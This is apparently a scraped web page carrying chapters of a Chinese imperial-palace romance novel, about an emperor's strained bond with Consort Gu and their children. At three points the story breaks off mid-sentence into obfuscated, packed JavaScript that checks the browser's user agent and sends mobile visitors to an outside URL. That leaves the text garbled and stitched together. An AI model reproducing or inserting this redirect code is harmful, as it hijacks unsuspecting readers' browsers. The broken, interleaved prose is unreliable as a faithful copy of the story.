皇帝箫衡看着朝自己跑来的小儿子和小女儿,也不再掩藏自己。他从廊柱后面走出来,弯下腰,蹲下身子,张开双臂,迎接着自己最疼爱的两个孩子。阳光照在他的龙袍上,照在他眼角细密的纹路上,也照在他嘴角那抹由衷的笑意上。 他最疼爱箫云健,一来是因为箫云健是他最宠爱的嫔妃方惠妃所生,爱屋及乌。二来,这份宠爱里也掺杂着一些不能明言的政治因素——方家势大,他需要让方家看到方惠妃和三皇子在宫中的地位,需要让方雍觉得自己的女儿和外孙在皇帝心中分量极重。这是帝王的权衡,也是帝王的心酸——连自己的儿子,都要掺进朝堂的考量。 而他最疼爱六公主箫幽兰,则是因为箫幽兰是顾贵妃所生。顾贵妃是刻在他心上的女人——从十六岁那年赛马场上那团火一样的绯色身影开始,她就刻在了他心上,十一年过去,那份刻痕从未消减分毫,只是被岁月和宫墙磨得不再那么锋芒毕露了。 箫幽兰和箫云健如同两只归巢的雏鸟,扑棱着翅膀一头扎进了父皇的怀抱。箫衡将两个小小的身子紧紧搂在怀里,一只手抱着一个,下巴蹭过箫幽兰柔软的头发,闻到了那股熟悉的、孩子身上特有的奶香。 六年前,每一次他来到翠微宫,顾贵妃也会如同鸟儿一般,欢欣雀跃地扑到他怀里来,在他耳边叽叽喳喳地讲个不停,说到高兴的地方便笑得前仰后合,眼睛弯成月牙,笑声清脆得像风铃。那时候的翠微宫,是他在朝政疲惫之后最想奔赴的地方。 他记得顾贵妃刚进宫时,还是个十六岁的少女。有一回在御花园里,她追着一只碧色的大蝴蝶跑,不小心踩到了自己的裙裾,整个人朝前栽去。幸得他眼疾手快,一个箭步上前,一把将她搂在怀里。 她在他怀里抬起头,一张脸羞得通红,连耳朵尖都染上了绯色,那羞涩的模样让他笑了好久,也让他在当晚的龙床上抱着她缠绵了好久好久,待到顾贵妃被他折腾地浑身酸软地睡过去后,他翻来覆去地想了很久。 他记得在御书房里,他正伏案批阅奏折,堆积如山的折子让他眉头紧锁。 顾贵妃在一旁替他研墨,安安静静地,忽然手一滑,墨汁溅了出来,不偏不倚地洒在他的龙袍上。她先是吓了一跳,然后竟朝他吐了吐舌头,那调皮的模样带着几分少女的娇憨。 他拿起手里的朱笔,在她的额头上轻轻点了一下,留下一个红红的小圆点,笑她像个寿星。顾贵妃不服气,用手指蘸了墨汁,踮起脚尖在他的额头上也点了一下。 两人看着对方被墨迹晕染的额头,都忍不住哈哈笑了起来,笑声在御书房里回荡,让守在门口的德顺都忍不住抿嘴偷笑。那时候,他的龙袍上沾着墨,她的额头上点着朱砂,可谁都不急着去擦,就那么互相看着傻笑。 那时候,顾贵妃就是一个傻姑娘,心思单纯得像一张白纸,他几句甜言蜜语便能把她哄得团团转。 她会因为他说一句“今天的发簪很好看”而高兴一整天,会在御花园里摘一大把野花插在他书房的案头,会在冬夜里偷偷把自己的汤婆子塞进他被窝里然后假装不知情。 他们过了几年蜜里调油的日子——她会在清晨替他更衣时偷偷在他袖子里塞一颗蜜饯,他会在散朝后绕远路去她宫里只为看她一眼,她枕在他膝上读话本,他一边批折子一边摸她的头发。 那时候,御书房的窗外光秃秃的,只有冰冷的宫墙。他随口说了一句“这窗外太孤寂了”,顾贵妃便亲自去御花园里挑了一株苦楝树的幼苗,挽起袖子,亲手挖坑、培土、浇水,种在了他的窗外。 她说:“苦楝树春天开紫花,夏天结果,秋天叶子变黄,冬天落了雪也好看。陛下批折子累了,一抬头就能看到,就不觉得孤寂了。” 如今苦楝树已亭亭如盖,年年开花,年年结果。可那个种树的人,却再也不会扑到他怀里来了。 往事不可追。曾经的甜蜜,如今已变成了疏离。这六年间发生了什么,他不是不知道——六年前,是对顾家的忌惮,是他听信谗言后对她的疏离,是她那不肯低头的性子,是她被接触禁足后对他的不亲不疏,是那一次次闭门羹的冷遇,更是那一次又一次在朝堂与后宫之间做出的权衡取舍,将两个人之间那根看不见的线一寸一寸地磨断了。 皇帝箫衡一只手抱着箫云健,一只手抱着箫幽兰,两个孩子搂着他的脖子,咯咯地笑着。他长长地叹了一口气,那叹息声很轻,被孩子们的笑声盖了过去。然后他抱着两人站起来,肩背微微发酸,却舍不得放下。 此时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618701|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方惠妃走到他面前,盈盈行了一礼,脸上依旧是那温柔似水的笑容,轻声说道:“云健,下来。你父皇劳累了一天,别再让父皇累到了。”她的声音软软糯糯,却带着一个母亲不容违拗的坚定。 箫云健双手紧紧搂着父皇的脖子,把小脸埋在父皇的颈窝里,撒娇地说:“不嘛不嘛,我就要父皇抱。父皇好久好久没有抱云健了。” 箫衡拍了拍儿子的后背,对方惠妃笑道:“让他多待一会儿吧。朕不累。” 顾贵妃也带着两个儿子来到了箫衡面前。箫行健十岁了,身姿挺拔,眉眼之间依稀能看出顾承宇的影子。箫子健八岁,站在哥哥身旁,小身板也站得笔直,两只手规规矩矩地垂在身侧。 顾贵妃恭恭顺顺地行了一个礼,然后垂下眸子,语气不亲不淡、不暖不冷地说了一句:“见过陛下。”那声音像是一杯放凉了的茶,没有温度,没有波澜,只有一份挑不出错的规矩。 箫衡每每听到这种语气,心里便仿佛被针扎了一般。那针尖不大,刺得也不深,却偏偏扎在最柔软的地方,让他每一次呼吸都能感觉到那股细密的疼痛。同时,一股怒火也会从心底腾升起来——他是一国之君,天下人都要对他俯首帖耳,可眼前这个女人,他唯一真正在意的女人,却用这种不冷不热的语气对他说话。 他想发火,想质问她,想问她到底要冷淡到什么时候。可每次看到她那垂下的眼睫和安静的眉眼,那团火便烧不出来,只能闷在心里,变成一声无人听见的叹息。 箫行健和箫子健也赶紧恭恭敬敬地躬身行礼,齐声说道:“见过父皇。”两人的动作规矩得像是演练过无数遍,一板一眼,挑不出任何差错。 箫衡看着恭恭敬敬的大儿子和二儿子,心里泛起一阵说不清的失落。六年前,箫子健还只有两岁。箫行健已四岁,这个孩子每次见到他,都会像刚才箫幽兰和箫云健一样,如同鸟儿般张开双臂扑进他的怀抱,往他身上爬,嘴里喊着“父皇抱”“父皇举高高”。 箫行健会骑在他脖子上揪他的耳朵,会抱着他的腿不撒手,赖在地上不肯让他走。那时候,他不是皇帝,只是一个下了朝便迫不及待想回家抱孩子的父亲。 可是如今,两个儿子见到他,除了恭顺,依旧是恭顺。那恭顺里有规矩,有礼数,有对一位帝王应有的尊重,却唯独没有了儿子对父亲的那份亲昵。他们站得笔直,目光低垂,等着他说一句“免礼”或者“退下”,然后便可以退回到母妃身后那个没有他的世界里去。 箫衡沉默了一瞬,那沉默在春日的庭院里并不显眼,可他知道,自己心里有什么东西在这一刻被轻轻地揪了一下。是儿子们对他规规矩矩的态度,是那份说不清道不明的生疏感,是顾贵妃那声不冷不热的“见过陛下”。 他抱着怀里两个还在咯咯笑的孩子,看了看面前这两个已经学会恭敬的儿子,忽然觉得,为人父,为人夫,他拥有了全天下最辽阔的江山,却弄丢了这世间最寻常的天伦之乐。 22. 如果想要什么,就拿玉佩来找朕 翠微宫里,饭桌之上,菜肴热气腾腾,香味在厅中弥漫。 皇帝箫衡、顾贵妃、方惠妃、箫行健、箫子健、箫云健、箫幽兰、顾子衿围坐在饭桌之上。 几个孩子叽叽喳喳地说着话,方惠妃不时给孩子们布菜,皇帝也被孩子们逗得面露笑意,一顿饭吃得热热闹闹。 几个孩子、方惠妃和皇帝都吃得心满意足,方惠妃添了两次饭,皇帝也比平日里多用了半碗。而顾贵妃却食之无味,只是端着碗,偶尔夹一口菜放进嘴里,嚼了许久才咽下去,仿佛吃的不是饭,是一种不得不完成的任务。 方惠妃和皇帝一边吃着,一边问顾子衿关于大混世魔王宋含章的事情和青山书院的趣事。方惠妃尤其好奇——那个敢抓蛇吃蛇胆、会做木鸢飞上天、还被马蹄踩了也不肯松缰绳的女娃娃,到底是什么样的?皇帝也难得地放下了九五之尊的架子,饶有兴致地听着。 顾子衿放下筷子,端端正正地坐好,如实回答,把宋含章做木鸢飞上天的事、与霍凌霜比试抓蛇吃蛇胆的事、在水田里打架滚成泥人的事、被马踩伤后还在问老马有没有事的事,以及青山书院里那些少年郎的趣事,都一一讲了出来。她讲得不疾不徐,条理分明,既不夸张也不掩饰,只是在说到宋含章推开自己却被马蹄踏中后背时,声音略微低了些,手指不自觉地攥紧了衣角。 箫行健、箫子健、箫云健和箫幽兰听了,都羡慕不已。箫云健张着嘴听呆了,连饭粒从嘴角掉下来都没察觉;箫幽兰更是拍着小手说“那个胖姐姐好厉害”。 他们从小生活在宫墙之内,每日里见得最多的便是规矩和礼数,哪里听过这样快意恩仇的童年?他们一下子对青山书院生出了向往之情——在那里可以读书,可以骑马,可以交到像宋含章那样的朋友,可以做许多在宫里做不了的事。 皇帝箫衡和方惠妃听了宋含章的趣事和青山书院的趣事,也纷纷笑了起来。箫衡笑得爽朗,连连摇头说“这个宋含章,真是个活宝”;方惠妃掩着嘴,笑得眉眼弯弯。 唯有顾贵妃安安静静地坐着,嘴角没有一丝笑意,目光落在自己面前那碗已经凉了的饭上,仿佛那些热闹都与她无关——又仿佛那些热闹太像她曾经拥有过的东西,而她早已学会了不再奢望。 箫云健直接拉着父皇的胳膊,使劲儿晃着,撒着娇说:“父皇父皇,儿臣要去青山书院念书!儿臣也要骑马,也要做木鸢,也要像那些哥哥姐姐一样!” 四岁的箫幽兰见状,也从椅子上溜下来,跑到父皇身边,手脚并用地爬到父皇的腿上坐着,仰着小脸,奶声奶气地说:“幽兰也要去青山书院!幽兰也要去!” 箫衡一手揽着女儿,一手摸了摸儿子的头,笑道:“好好好,等你们再大些,朕送你们去。” 箫行健和箫子健也非常向往。箫子健的眼中闪过一丝亮光,嘴角动了动,差点就要跟着弟弟妹妹一起开口。 可他下意识地看了哥哥一眼,箫行健微微地、几乎不可察觉地摇了摇头。箫子健便把那句话咽了回去,重新把目光收回到自己面前的碗筷上。 他们不能把这份向往表露在脸上,只能藏在心里。因为母妃教过他们——在这个深宫里,要学着与父皇保持适当的关系,做一个不争不抢的人。不争不抢,便可以不成为众矢之的,便可以保护自己,保护母妃,保护远在西疆的舅舅和顾家。母妃说这话的时候,声音是平静的,可箫行健记得,她的眼眶是红的。 箫子健有些不明白这些道理——他才八岁,还不太懂什么叫“众矢之的”,什么叫“功高震主”,什么叫“君心难测”。但他照着母妃说的去做,因为他信母妃,信哥哥。 而已经十岁的箫行健,是明白的。他的记忆里,有一道四岁时划下的伤口,至今没有愈合。 那时候父皇曾经很宠爱母妃——宠到整个后宫都嫉妒。可这份宠爱,也是一把双刃剑。因为得宠,母妃成了其他妃嫔陷害的对象;更因为舅舅顾恩手握重兵镇守西疆,父皇便开始忌惮顾家。一个手握重兵的边将,一个深得圣宠的贵妃,一个聪慧过人的皇长子——这三样东西加在一起,在帝王眼中便不再是妻儿舅甥,而是一盘需要时刻提防的棋局。 他四岁那年,母妃被父皇禁足在翠微宫里,整整一年。那道宫门从外面落了锁,母妃出不去,他们也进不来。 他和两岁的弟弟被父皇送到了皇祖母那里,由嬷嬷们照看着。那一年里,他和两岁的弟弟没有见过母妃一面——不是不想见,是不被允许见。 他每天夜里都问皇祖母“母妃什么时候来接我们”,皇祖母只是摸着他的头叹气。父皇也突然对他们变得冷冰冰的,从前那个会让他骑在脖子上摘果子的父皇不见了,取而代之的是一个见面时他连头都不敢抬的威严帝王。 那一年里对母妃极度的思念,和父皇对他们冷冰冰的态度,像刀刻一样深深刻在了他年幼的心灵里,刻在了他四岁的记忆里,再也没有磨平过。后来母妃解了禁足,可那个会扑进父皇怀里笑得前仰后合的母妃,再也没有回来过。 所以此刻,他安静地坐着,脸上挂着得体的微笑,把那份向往藏得滴水不漏。他知道,做一个不争不抢的皇子,才是对所有人最好的保护。 饭后,皇帝箫衡并不打算离开。他没有像往常那样用完膳便摆驾回御书房,而是留了下来,与顾贵妃和方惠妃坐在庭院里喝茶聊天。 庭院里春光明媚,海棠花瓣随风飘落在石桌上,茶香与花香交织在一起。 方惠妃言笑晏晏,时而说起宫中的趣闻,时而向皇帝请教几句诗词。 顾贵妃只是安安静静地坐着,姿态规矩得挑不出半分差错,除非皇帝和方惠妃主动问她,她才会做一些简单得不能再简单的回答。 如果他们不问,她便不言不语,只是垂着眸子,伸出手去,替他们将面前的茶盏一次次续满。她的手指修长白净,提起茶壶时腕上的玉镯轻轻晃动,在阳光下泛着温润的光。 庭院里,箫子健、箫云健和箫幽兰玩得十分开心。箫子健和箫云健两个人像猴子一样爬到了海棠树上,骑在枝桠上互相打闹,笑声从树冠里传出来,震得花瓣纷纷飘落。 箫幽兰太小,怎么也爬不上去,在树下急得团团转,仰着小脸朝树上喊“哥哥拉我一把”,两只小手伸得老高,却怎么也够不着。 另外一旁,箫行健与顾子衿正在踢毽子。那毽子是顾子衿用旧布条和铜钱自己做的,扎得精巧,踢起来稳稳当当。 两个孩子同龄,又是青梅竹马——顾子衿时常随母亲进宫,每次来翠微宫都会和箫行健一起玩耍读书——所以关系十分要好。 他们你来我往,毽子在空中起起落落,划出一道道彩色的弧线。箫行健脸上露出了少见的笑容,那笑容轻松而自然,和他平日里在众人面前那副沉稳老成的模样判若两人;顾子衿也踢得认真而开心,额头上沁出了细密的汗珠,嘴角的笑意怎么也收不住。 方惠妃远远看着箫行健与顾子衿在一起时那毫不设防的笑容,那两小无猜的默契,心里微微一动。她端起茶盏,浅呷了一口,然后转头看着皇帝,轻描淡写地说了一句:“陛下,子衿小小年纪便如此大方得体,知书达礼,模样又好——与大皇子倒是天生一对呢。” 皇帝箫衡看着远处两个相处融洽的孩子,嘴角带着一丝笑意。他看着箫行健踢毽子时难得的轻松模样,看着顾子衿接到毽子时灵动的侧脸,沉默了片刻,然后转头看着一旁规规矩矩坐着的顾贵妃,问道:“贵妃啊,朕下旨把子衿许配给行健如何?两个孩子青梅竹马,感情甚笃,年龄相仿,门第也相当。若是定了亲,也算是亲上加亲。” 顾贵妃听了,立马站起来,弓着身子,恭恭敬敬地说道:“陛下,恕臣妾冒昧——子衿的天地,不在这宫中。她努力学医,从小跟着林太医辨识百草、学习针灸,是想长大了去西疆,给那些为了保家卫国而身受重伤的将士们疗伤看病。她自幼便立了这个志向,臣妾不敢替她改了这条路。” 顾贵妃的话说得不急不缓,恭恭敬敬,每一个字都像是仔细斟酌过的,挑不出任何礼数上的差错。 可皇帝听出了言外之意——顾贵妃不想顾子衿嫁给箫行健,也不想让她嫁给任何一个皇子。她这番话,是在替顾子衿挡下这门亲事,也是在替整个顾家挡下再一次与皇室联姻的可能。 他知晓,当初顾贵妃是没有进宫想法的,顾家更没有让顾贵妃进宫为妃的打算。不然,也不会把一个容貌如此出众的女儿带到西疆那风沙苦寒之地,在那里养到十六岁,直到赛马场上被自己一眼瞧见。 他知晓,顾贵妃是不想让顾子衿重蹈自己的覆辙,被困在这深宫似海里,像一只被剪了翅膀的鸟,再也飞不出去。 他更知晓,顾贵妃是不想让顾家再次被他猜忌——顾家已经出了一位贵妃,一位手握重兵的长子,若再出一位皇子妃,那便是烈火烹油、鲜花着锦,在朝堂上会成为所有人的靶心。她是在保护自己,保护几个孩子,保护母家。哪怕这份保护,需要她把自己的心裹上一层又一层的冰。 大皇子已经十岁了,他一直迟迟没有立储。 而顾家对立储一事,从头到尾一点都不关心——既没有在朝堂上为箫行健说过半句话,也没有托人向皇帝递过任何暗示。甚至为了不让他忌惮,顾恩与顾典更是常年待在西疆,守护宁国西部的屏障,一年到头都难得回京一次,连年节都常常是在军营里过的。 他知道,顾家真的只是一心一意报效国家,没有一丝私心。顾家人骨子里流的就是忠诚的血——不是忠君,是忠于这片疆土和这片疆土上的百姓。 他曾经对顾家的那些忌惮,都是他听信了谗言,三人成虎,听多了便以为是真的了。只是当初他皇位不稳,年少轻狂,朝中暗流涌动,顾恩手握重兵,功高震主,各方势力都在盯着储君之位,他需要做出那些敲打顾家的事情,让顾家知道这宁国姓箫不姓顾,让朝野都知道皇权不可撼动。 可对他的敲打,顾家毫不在乎。所谓身正不怕影子斜,只要心是正的,任凭他如何敲打,顾家不会害怕,更不会在乎。 顾恩照样在西疆带兵,顾典照样在边关巡防,顾老夫人照样在府里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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伸手接箫云健的箫行健和顾子衿,被箫云健落下的冲力砸了个正着。两人双臂接住了箫云健,可那股力道太大,三个人一起倒在了地上,箫行健和顾子衿重重地摔在青石地面上,成了箫云健的人肉垫子。 箫云健趴在他们身上,毫发无伤,只是吓得小脸发白,愣了片刻才回过神来。 箫行健也没有受伤,只是袖子蹭破了,手臂上擦出了一道浅浅的红痕。可顾子衿的后脑勺却结结实实地磕在了青石地上,撞出了一个大包,疼得她龇牙咧嘴,却硬是一声没吭,只是伸手捂住了后脑勺。 皇帝赶紧上前一步扶起箫云健和箫行健,上下检查了一遍确认他们没有受伤,这才松了口气。 方惠妃和顾贵妃眼疾手快地将顾子衿从地上扶起来,两人同时伸手去摸她的后脑勺——那个包已经肿了起来,隔着头发都能感觉到鼓鼓的一块。两人心疼不已,顾贵妃的眉头紧紧皱了起来,方惠妃眼圈都红了,赶紧将顾子衿带到宫殿里,让她坐在软榻上,为她涂药。 顾贵妃轻轻拨开顾子衿的头发,方惠妃用手指蘸了药膏,小心翼翼地抹在红肿处,一边抹一边问她疼不疼,顾子衿咬着嘴唇摇了摇头。 一旁的皇帝跟进来,站在门边看着这一幕。他看了看趴在软榻上忍痛不吭声的顾子衿,又看了看两个满脸心疼的女人,心中忽然涌起一股复杂的情绪。这个十岁的女孩,方才饭桌上还大方得体地回答着各种问题,方才庭院里还和行健踢着毽子笑得那么开心,此刻摔伤了后脑勺却不哭不闹,还先抬头去看箫云健有没有事。顾家的孩子,果然都是这般硬气。 他走上前去,弯下腰,看着顾子衿,温声问道:“子衿,是你救了三皇子。你想要朕赏你什么?金银玉器、田庄封地——只要你说,朕都给你。” 顾子衿坐在软榻上,后脑勺传来的阵阵疼痛让她微微蹙着眉头,可她仍然认真地思索了片刻。金银玉器,她不缺;田庄封地,她一个十岁的孩子拿来也没什么用。她想了又想,一时半会儿竟没有想到自己真正想要的。 于是她抬起头,忍着疼痛,大大方方地说道:“陛下,臣女一时半会儿没有想到想要的。可不可以先欠着,等臣女想好了再问您要?” 皇帝听了,先是一愣,随即笑了起来。那笑声里带着几分意外的惊喜——旁人受了赏赐,都是赶紧谢恩,生怕过了这个村就没这个店了。 可这孩子却敢说“先欠着”,既坦率又聪慧,既不失礼数又保住了自己的主动权。他笑道:“当然可以。君无戏言,朕便允你一个心愿,随时来兑现。” 随后他解下腰间佩戴的一块玉佩。那是一块上好的羊脂白玉,上面刻着云纹,是他日常随身携带之物,也是皇权的象征。他将玉佩递到顾子衿面前,郑重地说道:“只要你想好了,你就拿着这一块玉佩来找朕。无论什么事情,朕都会答应你。” 顾子衿双手接过玉佩,那玉佩还带着皇帝体温的微热,在她掌心沉甸甸地躺着。她从软榻上下来,恭恭敬敬地行了一个大礼,朗声道:“臣女多谢陛下隆恩。” 方惠妃在一旁看着,嘴角带着微笑。顾贵妃立在软榻边,看着侄女双手捧玉的郑重模样,心中忽然涌起一股说不清的滋味——她不希望顾家的女儿再和皇家有任何牵绊,可此刻看着子衿那双清澈坦荡的眼睛,她又觉得,这个孩子也许真的和别人不一样。 她什么也没有说,只是重新垂下眼帘,端起茶壶,将皇帝面前那盏已经凉了的茶,换上了一杯热的。 23. 想了四年,念了四年 日头已偏西,斜阳将翠微宫的飞檐翘角染成了金红色,庭院里的海棠花影越来越长。 皇上还没有要离开翠微宫的意思。他坐在庭院的石凳上,看着孩子们在院子里追逐嬉戏,仿佛只是一个寻常人家的父亲。 他曾整整四年未踏进翠微宫一步。那四年里,他想见六公主箫幽兰,都是让德顺来翠微宫抱去御书房,父女俩在他的地盘上见一面,抱着女儿玩几个时辰,再让德顺送回去。他从不亲自来。而顾贵妃也从不主动去御书房接女儿。两个人就像隔着一道看不见的墙,谁也不肯先跨过去,任由四年的时光把那道墙越砌越高。 而今日,他从午膳后便一直待在这里,喝茶、聊天、看孩子,丝毫没有摆驾离开的迹象。 方惠妃知晓虽然受宠,却只是嫔妃,而顾贵妃则是皇上的女人。有一回在御书房陪皇帝用膳时,她轻声道:"陛下,贵妃姐姐一个人住在翠微宫里,冷冷清清的。陛下若有空,不妨去看看她。" 皇上当时只是嗯了一声,便岔开了话题,那声"嗯"里满是不置可否。 她也曾劝过顾贵妃不要紧闭心门,把皇上拒之千里之外。 有一回两人在翠微宫里喝茶,她试着开口:"姐姐,陛下他其实——"话还没说完,顾贵妃便起身添茶,淡淡地将话题引向了别处。 她知道,这个心结不是三言两语能解开的。可是,两人都未听进去——一个不肯低头,一个不肯原谅。她夹在中间,只能眼看着两个明明在意对方的人,隔着宫墙各自孤寂。 如今皇上主动踏进翠微宫,不仅来了,还没有想走的意思,方惠妃看在眼里,自然是高兴万分。她了解皇上——他是个骄傲的人,从不肯轻易低头。 今天他能主动跨进这道门槛,能留下来喝茶、看孩子,已经是迈出了极大的一步。她不能在这里碍着,得把这片天地留给他们两人。于是,她赶紧找了个借口,牵起箫云健的手,笑盈盈地告了退。 箫云健还有些不情愿,被她轻轻拽了一下衣袖,便乖乖地跟着走了,只是在跨出宫门时回头喊了一声"父皇明天见"。 顾子衿也向皇帝和顾贵妃施礼告辞。她后脑勺上的包还在隐隐作痛,可她心里惦记的是太医院里那本还没读完的医书,向林太医恭恭敬敬地鞠了一躬,便一头扎进了太医院的书房里,继续抱着医书啃读起来。那认真的模样,仿佛方才在翠微宫里什么都没发生过。 翠微宫的庭院里安静了下来。海棠花瓣在暮色中飘落得越发轻盈,空气里弥漫着淡淡的花香和远处飘来的晚炊烟气。 顾贵妃站在窗棂边那一盆四季花前,微微弯着腰,仔细打理着那两朵似血的花朵。她的手指轻轻拂过花瓣,拂去上面的微尘,又拿起一旁的小水壶,沿着花盆边缘缓缓浇了一圈水,动作细致而专注。 那目光似水温柔,嘴角和眼角都带着一抹淡淡的笑意,仿佛在看着自己的孩子——那是在白日里众人面前从未展露过的神情,只有在面对这两朵花时,她才会卸下所有防备,变回一个纯粹的母亲。 而皇上则是脱下了龙袍外罩,换了一身轻便的劲装,在庭院空旷处带着箫行健和箫子健练武。 他今日心情好,想亲自看看两个儿子的功夫底子——平日里都是武师父在教,他这个做父皇的,已经很久没有握过儿子的手教他们一招一式了。 箫行健性子沉稳,手握一柄适合他身量的长剑,站在父皇面前也不怯场。他深吸一口气,手腕一翻,一套剑法便行云流水般地施展开来——刺、挑、劈、抹、撩,每一招都干净利落,力道虽还稚嫩,却已经有了几分沙场点兵的气势。初见成效,到了后半段,他竟然可以与同样手握长剑的皇帝过上几招。 父子俩剑来剑往,金属交击之声清脆有力,在安静的庭院里回荡。皇帝一面接招一面暗暗心惊,他没有想到大儿子小小年纪,武艺竟然有如此功底——这孩子的剑法里有一股难得的气韵,不急不躁,却绵里藏针。他明明可以展露更多,却故意收了几分力道,这让皇帝感到欣慰的同时,又隐约察觉到了一丝说不清的距离。 而八岁的箫子健正在一旁扎马步。他小小的身板挺得笔直,双腿分开与肩同宽,膝盖微屈,双拳收在腰间,那马步扎得稳稳当当,像一棵扎根在石缝里的小松树。 皇帝收了剑,踱步走到他身边,抬脚用靴尖轻轻踢了踢箫子健的腿弯和膝后——这是武行里最常用的试探,多少成年武者都会在这一踢之下晃动身形。可箫子健却岿然不动,连眉头都没有皱一下,只是抿紧了嘴唇,目视前方,仿佛父皇的试探不过是一阵拂过山岗的风。 他目光从两个儿子身上移开,不由得抬头看了看正在窗棂前望着四季花的顾贵妃。 夕阳的余晖落在她身上,将那一身素雅的宫装镀上了一层柔和的金色。只见顾贵妃目光温柔无限,嘴角和眼角都含着笑,看得是那么入神,仿佛这满院的春色、这身后的帝王、这宫墙外的天地都比不上她眼前那两朵盛放的红花。那温柔和笑容,他太久太久没有得到了。他看着那笑容,心里忽然一酸——她还是会这样笑的,只是不再对他笑了。 对于皇帝投射过来的目光,顾贵妃丝毫没有察觉。她的心思,全在那两朵四季花上。 天色渐渐暗了下来,翠屏点起了廊下的灯笼,暖黄的光晕洒在庭院里。顾贵妃的书房里烛火通明,顾贵妃立于一旁,垂手侍立,姿态恭顺。 皇帝坐在书案前,抱着霍幽兰,把箫行健和箫子健叫到跟前,要亲自考一考他们的功课。 他问了箫行健许多问题——《鬼谷子》里的纵横之术,兵法中的奇正相生,前朝大家治国理政的思想,如何开创清明之世,如何安顿民生,如何设计家国制度,如何选拔贤能。 这些问题,有些连成年皇子都未必能答得周全,可箫行健一一作答,条理清晰,引经据典,却又不露锋芒。箫行健牢牢记着母妃的话——要懂得藏。 在这深宫里,太过聪慧不是福气,锋芒毕露便是灾祸。所以他的回答,露五分,藏了五分。他知道的远比说出来的多,可他只说那些不会引起猜忌的内容,把真正的见识藏在谦逊的措辞里。 就是露出的这五分,也足以令皇帝展颜。他听出了儿子话语背后隐藏的学识和见解,那见解之深,远超一个十岁孩子该有的阅历。不过他并未表现出太大的震惊,只是微微颔首,神色如常地说了一句:"路漫漫其修远,还要继续求索。学海无涯,不可自满。"可他的手,却轻轻地、难得地拍了拍箫行健的肩膀,那一下拍得很轻,却带着一个父亲难得的赞许。 箫行健恭顺地低头称是,面上波澜不惊,心里却微微颤了一下——他已经记不清上一次父皇拍他的肩膀是什么时候了。 随后,皇帝把箫幽兰递给顾贵妃,把箫子健抱到膝上,铺开一张宣纸,手把手地教他临摹王羲之的《兰亭集序》。 他握着箫子健的小手,一笔一画地带着他写——"永和九年,岁在癸丑,暮春之初",笔锋在宣纸上缓缓游走,墨香在烛光里弥漫开来。 箫子健的手指还不太灵活,写出来的字不是很正,可皇帝没有丝毫不耐烦,一遍又一遍地纠正他的笔锋和力道。 箫子健对于父皇突然的亲密举动,非常不适应。他坐在父皇的怀里,身体微微僵硬,两只眼睛不时地瞟向一旁的母妃,仿佛在问——"母妃,我该怎么办?"父皇的怀抱,对他来说太陌生了。此刻被父皇抱在膝上,他不知道该高兴还是该害怕,只是坐得端端正正,一动也不敢动,像一个被放在龙椅上的木头小人。 天色黑了下来,顾贵妃抱着打瞌睡的霍幽兰回了寝宫,皇上还没有要走的意思,一直在书房里带着箫行健和箫子健念书写字。他翻看了箫行健的策论习作,又给箫子健讲了诗经。 德顺已经在宫门外站了整整五个时辰,腿都站酸了,可每次他跑进翠微宫里,探进半个身子想提醒"陛下该起驾了",就看到皇帝那副安然自在的模样,又把话咽了回去。 顾贵妃则是在寝宫里哄箫幽兰睡觉。她侧身躺在床上,一手托着脑袋,一手轻轻拍着女儿的背,嘴里哼着一首西疆的曲子——那曲调悠远而苍凉,是她在边关时跟营中老卒的妻子学的。 箫幽兰抱着她的胳膊,眼皮越来越沉,没一会儿便进入了甜美的梦乡。 此时的顾贵妃,褪去了白日里那身繁复的宫装,换了一身白色的睡袍,嘴角是一个母亲特有的温柔——那温柔不是给任何人看的,是属于她和孩子之间最私密的情感,是这座冰冷的宫殿里唯一不需要伪装的东西。 烛光映在她的侧脸上,那一张脸,虽然经历过那一年冷宫的苦楚——幽禁、孤独、与两个孩子骨肉分离——可岁月和痛苦依旧没有在她脸上留下痕迹。 她的皮肤依旧光洁,眉眼依旧清丽,只是眼神里的光,从明艳变成了沉静,从火变成了水。眼神变深了,深地藏着什么,像是秋日里的一潭静水,表面无波无澜,底下却流过了一个又一个寒暑。 不知何时,箫衡悄悄来到了寝宫。他本是想走之前再看一眼女儿——他对德顺也是这么说的。可当他站在寝宫门口,隔着屏风看到顾贵妃侧身卧床的慵懒姿态,看到那一身素白睡袍下玲珑的曲线,看到那一头散落如瀑的长发,看到那烛光下安静而柔美的侧影,他忽然走不动了。 已三十四岁的他,坐拥三宫六院,见过无数美人,可唯有顾贵妃能让他心动。这种心动不是帝王对妃嫔的临幸,而是一个男人对一个女人最原始的爱慕——只有她能让他尝到人间情爱的滋味,那种心跳加速、手足无措、患得患失的滋味。别的嫔妃,是妃子;只有顾婉清,是他的女人。 他轻轻挥手示意门口的宫女噤声退下,然后轻步走到床边,撩开帐幔。烛光在帐内投下一片暖黄,他看着她的背影,沉默了片刻,便缓缓躺下,伸手从背后紧紧抱住了顾贵妃。 他的手臂环住她的腰,胸膛贴上她的后背,下巴搁在她的肩窝里,把脸埋在她的发间,深深吸了一口气——那气息,他想了四年,念了四年,也回避了四年。 顾贵妃的身体猛地一颤,像是被什么灼伤了。她几乎是在一瞬间翻身下床,跪在冰冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618703|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 